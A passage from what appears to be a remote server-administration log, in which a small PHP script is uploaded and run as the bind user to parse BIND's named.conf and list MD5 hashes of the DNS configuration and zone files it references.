MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 14:25:30: Establishing a connection
2026-04-23 14:25:30: 

PUT: /tmp/pkp670961

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 14:25:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp670961; rm /tmp/pkp670961'

2026-04-23 14:25:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
